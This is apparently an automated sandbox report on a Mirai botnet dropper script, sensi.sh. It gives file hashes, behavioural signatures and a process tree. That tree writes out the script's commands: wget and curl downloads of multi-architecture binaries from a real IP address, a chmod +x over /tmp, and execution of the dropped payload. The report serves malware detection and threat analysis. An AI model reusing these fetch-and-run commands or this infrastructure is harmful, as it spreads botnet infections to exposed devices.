Analysis

  • max time kernel
    58s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    26-12-2024 04:07

General

  • Target

    sensi.sh

  • Size

    1KB

  • MD5

    f610810764eec4dd2eed9f4e0e66121b

  • SHA1

    98af7417d18cf6bf49a61104a4aebbaac59a0f39

  • SHA256

    7e6ff187d2f1740e90596f19c2bd843495849a3c38dbdae69658bca46bf92705

  • SHA512

    189710551b60f60dfd94fa21333c58e0d0f0e230d8ca60f33fc8f2fd9f1df2d58b56e969e0639f3ae6d4ed4e27f16fa84239628b86122f434f3baadf6af3826c

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • Contacts a large (196691) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 10 IoCs
  • Modifies Watchdog functionality 1 TTPs 20 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates active TCP sockets 1 TTPs 10 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads system network configuration 1 TTPs 10 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 20 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/sensi.sh
    /tmp/sensi.sh
    1⤵
    • Writes file to tmp directory
    PID:1502
    • /usr/bin/wget
      wget http://107.150.62.186/d/xd.x86
      2⤵
      • Writes file to tmp directory
      PID:1503
    • /usr/bin/curl
      curl -O http://107.150.62.186/d/xd.x86
      2⤵
      • Writes file to tmp directory
      PID:1508
    • /bin/cat
      cat xd.x86
      2⤵
        PID:1509
      • /bin/chmod
        chmod +x config-err-RpIWNX netplan_jpikt7da sensi.sh snap-private-tmp SSH ssh-82ootvY3E0by systemd-private-a4457c15b5b74858b76596bff6ba19dc-bolt.service-AVwVKu systemd-private-a4457c15b5b74858b76596bff6ba19dc-colord.service-04jKAy systemd-private-a4457c15b5b74858b76596bff6ba19dc-ModemManager.service-eW55qV systemd-private-a4457c15b5b74858b76596bff6ba19dc-systemd-resolved.service-IibRw9 systemd-private-a4457c15b5b74858b76596bff6ba19dc-systemd-timedated.service-Qk62GN xd.x86
        2⤵
        • File and Directory Permissions Modification
        PID:1510
      • /tmp/SSH
        ./SSH
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Enumerates active TCP sockets
        • Reads system network configuration
        • Reads runtime system information
        PID:1511
      • /usr/bin/wget
        wget http://107.150.62.186/d/xd.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1515
      • /usr/bin/curl
        curl -O http://107.150.62.186/d/xd.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1521
      • /bin/chmod
        chmod +x config-err-RpIWNX netplan_jpikt7da sensi.sh snap-private-tmp SSH ssh-82ootvY3E0by systemd-private-a4457c15b5b74858b76596bff6ba19dc-bolt.service-AVwVKu systemd-private-a4457c15b5b74858b76596bff6ba19dc-colord.service-04jKAy systemd-private-a4457c15b5b74858b76596bff6ba19dc-ModemManager.service-eW55qV systemd-private-a4457c15b5b74858b76596bff6ba19dc-systemd-resolved.service-IibRw9 systemd-private-a4457c15b5b74858b76596bff6ba19dc-systemd-timedated.service-Qk62GN xd.mips xd.x86
        2⤵
        • File and Directory Permissions Modification
        PID:1523
      • /tmp/SSH
        ./SSH
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Enumerates active TCP sockets
        • Reads system network configuration
        • Reads runtime system information
        PID:1524
      • /usr/bin/wget
        wget http://107.150.62.186/d/xd.mpsl
        2⤵
        • Writes file to tmp directory
        PID:1528
      • /usr/bin/curl
        curl -O http://107.150.62.186/d/xd.mpsl
        2⤵
        • Writes file to tmp directory
        PID:1532
      • /bin/chmod
        chmod +x config-err-RpIWNX netplan_jpikt7da sensi.sh snap-private-tmp SSH ssh-82ootvY3E0by systemd-private-a4457c15b5b74858b76596bff6ba19dc-bolt.service-AVwVKu systemd-private-a4457c15b5b74858b76596bff6ba19dc-colord.service-04jKAy systemd-private-a4457c15b5b74858b76596bff6ba19dc-ModemManager.service-eW55qV systemd-private-a4457c15b5b74858b76596bff6ba19dc-systemd-resolved.service-IibRw9 systemd-private-a4457c15b5b74858b76596bff6ba19dc-systemd-timedated.service-Qk62GN xd.mips xd.mpsl xd.x86
        2⤵
        • File and Directory Permissions Modification
        PID:1534
      • /tmp/SSH
        ./SSH
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Enumerates active TCP sockets
        • Reads system network configuration
        • Reads runtime system information
        PID:1535
      • /usr/bin/wget
        wget http://107.150.62.186/d/xd.arm4
        2⤵
          PID:1539
        • /usr/bin/curl
          curl -O http://107.150.62.186/d/xd.arm4
          2⤵
          • Writes file to tmp directory
          PID:1545
        • /bin/chmod
          chmod +x config-err-RpIWNX netplan_jpikt7da sensi.sh snap-private-tmp SSH ssh-82ootvY3E0by systemd-private-a4457c15b5b74858b76596bff6ba19dc-bolt.service-AVwVKu systemd-private-a4457c15b5b74858b76596bff6ba19dc-colord.service-04jKAy systemd-private-a4457c15b5b74858b76596bff6ba19dc-ModemManager.service-eW55qV systemd-private-a4457c15b5b74858b76596bff6ba19dc-systemd-resolved.service-IibRw9 systemd-private-a4457c15b5b74858b76596bff6ba19dc-systemd-timedated.service-Qk62GN xd.arm4 xd.mips xd.mpsl xd.x86
          2⤵
          • File and Directory Permissions Modification
          PID:1547
        • /tmp/SSH
          ./SSH
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Enumerates active TCP sockets
          • Reads system network configuration
          • Reads runtime system information
          PID:1548
        • /usr/bin/wget
          wget http://107.150.62.186/d/xd.arm5
          2⤵
          • Writes file to tmp directory
          PID:1552
        • /usr/bin/curl
          curl -O http://107.150.62.186/d/xd.arm5
          2⤵
          • Writes file to tmp directory
          PID:1556
        • /bin/chmod
          chmod +x config-err-RpIWNX netplan_jpikt7da sensi.sh snap-private-tmp SSH ssh-82ootvY3E0by systemd-private-a4457c15b5b74858b76596bff6ba19dc-bolt.service-AVwVKu systemd-private-a4457c15b5b74858b76596bff6ba19dc-colord.service-04jKAy systemd-private-a4457c15b5b74858b76596bff6ba19dc-ModemManager.service-eW55qV systemd-private-a4457c15b5b74858b76596bff6ba19dc-systemd-resolved.service-IibRw9 systemd-private-a4457c15b5b74858b76596bff6ba19dc-systemd-timedated.service-Qk62GN xd.arm4 xd.arm5 xd.mips xd.mpsl xd.x86
          2⤵
          • File and Directory Permissions Modification
          PID:1560
        • /tmp/SSH
          ./SSH
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Enumerates active TCP sockets
          • Reads system network configuration
          • Reads runtime system information
          PID:1561
        • /usr/bin/wget
          wget http://107.150.62.186/d/xd.arm6
          2⤵
          • Writes file to tmp directory
          PID:1565
        • /usr/bin/curl
          curl -O http://107.150.62.186/d/xd.arm6
          2⤵
          • Writes file to tmp directory
          PID:1569
        • /bin/chmod
          chmod +x config-err-RpIWNX netplan_jpikt7da sensi.sh snap-private-tmp SSH ssh-82ootvY3E0by systemd-private-a4457c15b5b74858b76596bff6ba19dc-bolt.service-AVwVKu systemd-private-a4457c15b5b74858b76596bff6ba19dc-colord.service-04jKAy systemd-private-a4457c15b5b74858b76596bff6ba19dc-ModemManager.service-eW55qV systemd-private-a4457c15b5b74858b76596bff6ba19dc-systemd-resolved.service-IibRw9 systemd-private-a4457c15b5b74858b76596bff6ba19dc-systemd-timedated.service-Qk62GN xd.arm4 xd.arm5 xd.arm6 xd.mips xd.mpsl xd.x86
          2⤵
          • File and Directory Permissions Modification
          PID:1571
        • /tmp/SSH
          ./SSH
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Enumerates active TCP sockets
          • Reads system network configuration
          • Reads runtime system information
          PID:1572
        • /usr/bin/wget
          wget http://107.150.62.186/d/xd.arm7
          2⤵
          • Writes file to tmp directory
          PID:1576
        • /usr/bin/curl
          curl -O http://107.150.62.186/d/xd.arm7
          2⤵
          • Writes file to tmp directory
          PID:1580
        • /bin/chmod
          chmod +x config-err-RpIWNX netplan_jpikt7da sensi.sh snap-private-tmp SSH ssh-82ootvY3E0by systemd-private-a4457c15b5b74858b76596bff6ba19dc-bolt.service-AVwVKu systemd-private-a4457c15b5b74858b76596bff6ba19dc-colord.service-04jKAy systemd-private-a4457c15b5b74858b76596bff6ba19dc-ModemManager.service-eW55qV systemd-private-a4457c15b5b74858b76596bff6ba19dc-systemd-resolved.service-IibRw9 systemd-private-a4457c15b5b74858b76596bff6ba19dc-systemd-timedated.service-Qk62GN xd.arm4 xd.arm5 xd.arm6 xd.arm7 xd.mips xd.mpsl xd.x86
          2⤵
          • File and Directory Permissions Modification
          PID:1582
        • /tmp/SSH
          ./SSH
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Enumerates active TCP sockets
          • Reads system network configuration
          • Reads runtime system information
          PID:1583
        • /usr/bin/wget
          wget http://107.150.62.186/d/xd.ppc
          2⤵
          • Writes file to tmp directory
          PID:1587
        • /usr/bin/curl
          curl -O http://107.150.62.186/d/xd.ppc
          2⤵
          • Writes file to tmp directory
          PID:1591
        • /bin/chmod
          chmod +x config-err-RpIWNX netplan_jpikt7da sensi.sh snap-private-tmp SSH ssh-82ootvY3E0by systemd-private-a4457c15b5b74858b76596bff6ba19dc-bolt.service-AVwVKu systemd-private-a4457c15b5b74858b76596bff6ba19dc-colord.service-04jKAy systemd-private-a4457c15b5b74858b76596bff6ba19dc-ModemManager.service-eW55qV systemd-private-a4457c15b5b74858b76596bff6ba19dc-systemd-resolved.service-IibRw9 systemd-private-a4457c15b5b74858b76596bff6ba19dc-systemd-timedated.service-Qk62GN xd.arm4 xd.arm5 xd.arm6 xd.arm7 xd.mips xd.mpsl xd.ppc xd.x86
          2⤵
          • File and Directory Permissions Modification
          PID:1593
        • /tmp/SSH
          ./SSH
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Enumerates active TCP sockets
          • Reads system network configuration
          • Reads runtime system information
          PID:1594
        • /usr/bin/wget
          wget http://107.150.62.186/d/xd.m68k
          2⤵
          • Writes file to tmp directory
          PID:1598
        • /usr/bin/curl
          curl -O http://107.150.62.186/d/xd.m68k
          2⤵
          • Writes file to tmp directory
          PID:1602
        • /bin/chmod
          chmod +x config-err-RpIWNX netplan_jpikt7da sensi.sh snap-private-tmp SSH ssh-82ootvY3E0by systemd-private-a4457c15b5b74858b76596bff6ba19dc-bolt.service-AVwVKu systemd-private-a4457c15b5b74858b76596bff6ba19dc-colord.service-04jKAy systemd-private-a4457c15b5b74858b76596bff6ba19dc-ModemManager.service-eW55qV systemd-private-a4457c15b5b74858b76596bff6ba19dc-systemd-resolved.service-IibRw9 systemd-private-a4457c15b5b74858b76596bff6ba19dc-systemd-timedated.service-Qk62GN xd.arm4 xd.arm5 xd.arm6 xd.arm7 xd.m68k xd.mips xd.mpsl xd.ppc xd.x86
          2⤵
          • File and Directory Permissions Modification
          PID:1604
        • /tmp/SSH
          ./SSH
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Enumerates active TCP sockets
          • Reads system network configuration
          • Reads runtime system information
          PID:1605
        • /usr/bin/wget
          wget http://107.150.62.186/d/xd.sh4
          2⤵
          • Writes file to tmp directory
          PID:1609
        • /usr/bin/curl
          curl -O http://107.150.62.186/d/xd.sh4
          2⤵
          • Writes file to tmp directory
          PID:1613
        • /bin/chmod
          chmod +x config-err-RpIWNX netplan_jpikt7da sensi.sh snap-private-tmp SSH ssh-82ootvY3E0by systemd-private-a4457c15b5b74858b76596bff6ba19dc-bolt.service-AVwVKu systemd-private-a4457c15b5b74858b76596bff6ba19dc-colord.service-04jKAy systemd-private-a4457c15b5b74858b76596bff6ba19dc-ModemManager.service-eW55qV systemd-private-a4457c15b5b74858b76596bff6ba19dc-systemd-resolved.service-IibRw9 systemd-private-a4457c15b5b74858b76596bff6ba19dc-systemd-timedated.service-Qk62GN xd.arm4 xd.arm5 xd.arm6 xd.arm7 xd.m68k xd.mips xd.mpsl xd.ppc xd.sh4 xd.x86
          2⤵
          • File and Directory Permissions Modification
          PID:1615
        • /tmp/SSH
          ./SSH
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Enumerates active TCP sockets
          • Reads system network configuration
          • Reads runtime system information
          PID:1616

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • /tmp/xd.x86

        Filesize

        29KB

        MD5

        9c04ed95992e4b7589d2cfaf2b6b6afb

        SHA1

        f512b4b75401213c5734fc1c724e00b9dd7fdafb

        SHA256

        ca0dad92996c7ba5fbb49e82fc119e6b7a4ef91e060f8aff17b92e93f8bf5185

        SHA512

        f093f6c21d840575cefb2bf3d1b4f4a3f9f3729c4c74c17846aa194223cbe0dd7eb182c55ae15f31d496671e0d6ea1a6f0dd3d2b10e1f32f396f0f573d28db92